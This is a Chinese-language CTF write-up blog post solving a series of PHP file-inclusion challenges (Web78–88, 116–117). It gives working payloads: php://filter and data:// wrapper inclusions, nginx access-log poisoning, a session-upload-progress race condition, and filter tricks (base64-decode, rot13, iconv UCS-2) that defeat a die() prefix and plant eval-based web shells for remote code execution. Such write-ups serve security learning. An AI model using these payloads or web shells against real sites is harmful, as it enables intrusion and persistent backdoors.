—————————–起—————–
Web78(filter读文件)
1 |
|
无感情直接payload:?file=php://filter/convert.base64-encode/resource=flag.php
Web79(data加密执行命令)
1 |
|
这题用data伪协议执行命令,无内鬼直接payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
Web80(包含日志)
1 | if(isset($_GET['file'])){ |
这道题不能用data也不能用filter伪协议,这道题要用包含日志文件
日志文件存一般存放在/var/log/nginx/access.log
所以这道题的payload如下:
这里输入指令ls发现有fl0g.php文件,所以我们直接读取即可
得出答案
Web81(同上)
payload同上
Web82(条件竞争)
这边ban掉了.,已经不能用上面任何一种方法了,php里面我们能控制的无后缀文件只有唯一一个,那就是seesion文件,然后session文件的名字我们是可以控制的,如果我们传入PHPSESSID=aaa,那么session文件就是session_aaa,然后还要介绍一下
PHP_SESSION_UPLOAD_PROGRESS:是用来检测文件上传进度的,post一个名称为这个的参数,这个参数会写入session文件中
方法一
首先利用一个小脚本去给这个靶场上传一个文件,然后进行抓包,
脚本:
1 |
|
抓包:
可以看到已经有PHP_SESSION_UPLOAD_PROGRESS的值,我们把他的值改为我们要执行的代码,如
再加入一个COOKIE:PHPSESSID=flag
然后我们再抓一个get类型的包,就是在靶场get传入一个file=1:
然后把file改成file=/tmp/sess_flag,然后POST和GET同时进行爆破,这边我选了10线程
ps:这边爆破就是随便找个没用的内容,然后往里面爆破字典达到多次跑代码的效果
结果:
诺,可以看到已经出来答案了,fl0g.php和index.php就是当前目录的文件
分析一下
我们来看看回显这一段代码:
1 | upload_progress_fl0g.php |
看到没,这边就是序列化后的内容,和我们上面说的一样,会给$_SESSION数组带来一个由session.upload_progress.prefix+session.upload_progress.name组成的键名
- 这边session.upload_progress.prefix=’upload_progress_’
- session.upload_progress.name=fl0g.phpindex.php|a:5{s:10:”start_time”;i:1662324411;s:14:”content_length”;i:455;s:15:”bytes_processed”;i:455;s:4:”done”;b:0;s:5:”files”;a:1:{i:0;a:7:{s:10:”field_name”;s:4:”file”;s:4:”name”;s:5:”1.php”;s:8:”tmp_name”;N;s:5:”error”;i:0;s:4:”done”;b:0;s:10:”start_time”;i:1662324411;s:15:”bytes_processed”;i:455;}}}
这边为什么session.upload_progress.name不是system(‘ls’)呢,这是因为system(‘ls’)被执行了,所以它的回显替代了它
结果
用同样的方法,我们把system(‘ls’)改为system(tac fl0g.php),读取flag文件:
1 | Content-Length: 592 |
还是完全符合上述规则的!
方法二:
这边我们原理还是一样的,只不过是用python脚本去跑一下了,都有注释:
1 | import requests |
出现perfect值的时候就说明已经将内容写入了1.php,这时候直接访问1.php,进行远程rce,这边rce的时候,py脚本一定要保持运行,进行条件竞争:
得到结果
浅分析
这里利用的思路是在session文件中写入
1 | eval($_POST[1]); |
然后再POST传递参数1:=file_put_contents(‘/var/www/html/1.php’,’’);
将<?php eval($_POST[2]);?>
写入1.php中
最后访问1.php去进行远程RCE,密码就是2
这就是整体的思路
Web83(条件竞争)
和上一题一样,跑脚本,等perfect
Web84(条件竞争)
1 | if(isset($_GET['file'])){ |
你删库任你删库,时间差就是为所欲为
一样跑,但是线程要拉到10
Web85(条件竞争)
1 | if(isset($_GET['file'])){ |
你告诉我你判断要不要时间,要不要时间?时间差!跑!
龙哥主打的就是时间差
线程数依旧是10稳定发挥
Web86(条件竞争)
1 | define('还要秀?', dirname(__FILE__)); |
同样是多线程爆破
1
2include('123/test1.php');
include('123/test2.php');1
2
3set_include_path('123/');
include('test1.php');
include('test2.php');
你虽然设置了include的路径,但是我多个线程的时候,总有一个会因为时间差溜进去
Web87(file_put_contents和死亡代码)
1 | if(isset($_GET['file'])){ |
这里就出现了死亡代码<?php die();?>
一旦执行,程序结束,所以我们有什么办法可以避免执行呢?
解法一
- 介绍一下base64解码的特点
首先base64解码时只会识别字母和一些特殊字符如=,其他的不识别,其次base64解码是将4个字节转化为3个字节,如:
利用这一特性我们可以将题目做出来
- 其次
简单来讲,Base64就是用下列总计64个字符:
- A-Z
- a-z
- 0-9
- /
- 浏览器解码特点
其实当我们在浏览器传参时,浏览器是会先帮我们进行一次url解码的
- 利用filter伪协议
?file=php://filter/convert.base64-decode/resource=s1mple.php
假如我们的file就是这个伪协议的话,注意这里是decode
,我们会把文件里面的内容进行base64解码,因为死亡代码中只有phpdie
会被识别出来,只有六个字节,这时候我们再content最前面添加2个字节就可以销毁死亡代码
- payload
由于浏览器会帮我们进行一次解码,所以这里我们要进行两次URL加密
这里的url编码是要所有字符都进行编码,这里推荐一个网址:http://web.chacuo.net/charseturlencode(选择里面的复杂模式)
1 | ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%33%25%36%64%25%36%34%25%32%65%25%37%30%25%36%38%25%37%30 |
PS:这边不能单单的添加两个a,这时候会出现乱码,由于phpdie是6个字节,当我们添加2个字节aa时:
可以看到我们的尖括号没了,这时候代码不会被运行,这是一个bug吧,类似,当我们再凑四个字节也就是phpdieaaaaa时:
我们的尖括号就回来了然后死亡代码销毁
,程序得以RCE运行,密码是1,最后只需要一步步的去读取flag就可以了
解法二
使用rot13过滤器:
payload:?file=php://filter/write=string.rot13/resource=1.php
content=
传入后1.php的内容如下:
1 | <?cuc qvr('大佬别秀了);<?php eval($_POST[1]);?> |
前面的不会被识别,而我们的eval被识别,RCE就绪
Web88(BASE64规则)
1 | if(isset($_GET['file'])){ |
简简单单的几行代码,就一个pregmatch和一个include,用屁股想都知道是用伪协议,首先php被ban了,filter的就别想了
只可能是data的伪协议,我们采用base64编码,但是这里注意,base64编码出来的结果结尾不能是+或者=号,因为被过滤了
至于解决方法,由于base64编码是三个字节转成四个字节,=只是个补充符号罢了,去掉不会影响我们的指令运行,所以只要结尾不是+号的就可以
- 构造payload:
编码后是=号结尾,所以直接去掉等号传参
answer就出来了
接下来:
老样子去除等号:
答案就出来了,RESPECT,RESPECT
Web116(MISC+LFI)
进入页面给了一段视频给我们,先下载
题目提示是misc+LFI,我们把视频拖到010editor观察一下:
我们直接查看文件尾部,发现了一个PNG的文件尾:AE 42 60 82
所以盲猜这里有一个png图片,搜索png的文件头:89 50 4E 47
果真有,我们新建一个16进制的文件(图片),然后把数据复制进去,保存png格式,打开发现源代码:
提示我们传入file,这里就显得十分降智了
直接payload:?file=flag.php就猜出来了
输入payload后看不到flag,禁止了我们访问源代码,我们就view-source:
Web117
1 | highlight_file(__FILE__); |
与上一题的源码差不多,ban的东西也一样,就是不ban filter,这不是在给我指路吗
和文章file_pun_contents和死亡代码讲的内容是一样的
ban掉了base64编码,rot13编码,UTF编码,string
剩下的还有convert.iconv.中的usc-2和usc-4
payload如下:
1 | (get)?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=1.php |
————————-结———————-
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.